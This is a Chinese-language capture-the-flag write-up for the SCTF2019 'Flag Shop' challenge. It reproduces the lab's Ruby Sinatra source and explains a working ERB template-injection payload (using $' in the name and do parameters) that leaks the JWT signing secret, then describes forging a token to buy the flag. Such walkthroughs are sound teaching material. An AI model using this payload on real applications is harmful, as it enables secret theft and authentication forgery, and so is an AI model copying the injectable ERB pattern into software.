[SCTF2019]Flag Shop
知识点:Ruby/ERB模板注入
打开容器,是个类似于买东西的界面
有用户的uid,拥有的资金,以及flag的价格
按照之前刷题的经验,会抓包,修改拥有的资金,或者打折,修改些数值什么的
去进行jwt解码,发现这个信息确实和页面回显的是一样的
源码
查看robots.txt,发现/filebak
User-agent: *
Disallow: /filebak
访问,得到源码
require 'sinatra'
require 'sinatra/cookies'
require 'sinatra/json'
require 'jwt'
require 'securerandom'
require 'erb'
set :public_folder, File.dirname(__FILE__) + '/static'
FLAGPRICE = 1000000000000000000000000000
ENV["SECRET"] = SecureRandom.hex(64)
configure do
enable :logging
file = File.new(File.dirname(__FILE__) + '/../log/http.log',"a+")
file.sync = true
use Rack::CommonLogger, file
end
get "/" do
redirect '/shop', 302
end
get "/filebak" do
content_type :text
erb IO.binread __FILE__
end
get "/api/auth" do
payload = { uid: SecureRandom.uuid , jkl: 20}
auth = JWT.encode payload,ENV["SECRET"] , 'HS256'
cookies[:auth] = auth
end
get "/api/info" do
islogin
auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
json({uid: auth[0]["uid"],jkl: auth[0]["jkl"]})
end
get "/shop" do
erb :shop
end
get "/work" do
islogin
auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
auth = auth[0]
unless params[:SECRET].nil?
if ENV["SECRET"].match("#{params[:SECRET].match(/[0-9a-z]+/)}")
puts ENV["FLAG"]
end
end
if params[:do] == "#{params[:name][0,7]} is working" then
#work之后增加money
auth["jkl"] = auth["jkl"].to_i + SecureRandom.random_number(10)
#进行加密,从这里可以获取secret
auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
cookies[:auth] = auth
ERB::new("<script>alert('#{params[:name][0,7]} working successfully!')</script>").result
end
end
post "/shop" do
islogin
auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
if auth[0]["jkl"] < FLAGPRICE then
json({title: "error",message: "no enough jkl"})
else
#输出flag
auth << {flag: ENV["FLAG"]}
auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
cookies[:auth] = auth
json({title: "success",message: "jkl is good thing"})
end
end
def islogin
if cookies[:auth].nil? then
redirect to('/shop')
end
end
审计源码,先得到secret,再修改资金数目,得到flag
关键代码
if params[:do] == "#{params[:name][0,7]} is working" then
#work之后增加money
auth["jkl"] = auth["jkl"].to_i + SecureRandom.random_number(10)
#进行加密,从这里可以获取secret
auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
cookies[:auth] = auth
ERB::new("<script>alert('#{params[:name][0,7]} working successfully!')</script>").result
end
传的参数do
和name
要一致,才能够弹出secret
Ruby/ERB模板注入
Ruby/ERB模板注入 https://www.anquanke.com/post/id/86867
<%= code %>
同时还需要Ruby的预定义变量的知识 globals - Documentation for Ruby 2.4.0 (ruby-lang.org)
$'
最后一次成功匹配右边的字符串
最后的payload
/work?SECRET=&name=<%=$'%>&do=<%=$'%> is working
进行url编码
/work?SECRET=&name=%3c%25%3d%24%27%25%3e&do=%3c%25%3d%24%27%25%3e%20is%20working
得到secret
e4c4ca170b701e7f7ec99dea9f41fb614d44487322ea77851c3aa389f9559059286387dbc70b078b7952fb920344e3b38c6f14a07bcc374b5e46b7052c8712d8
进行jwt加密,并且修改数值
然后点击buy flag
,抓包,替换为我们修改好的jwt编码,发包,将响应中的字符串进行解码
即可得到flag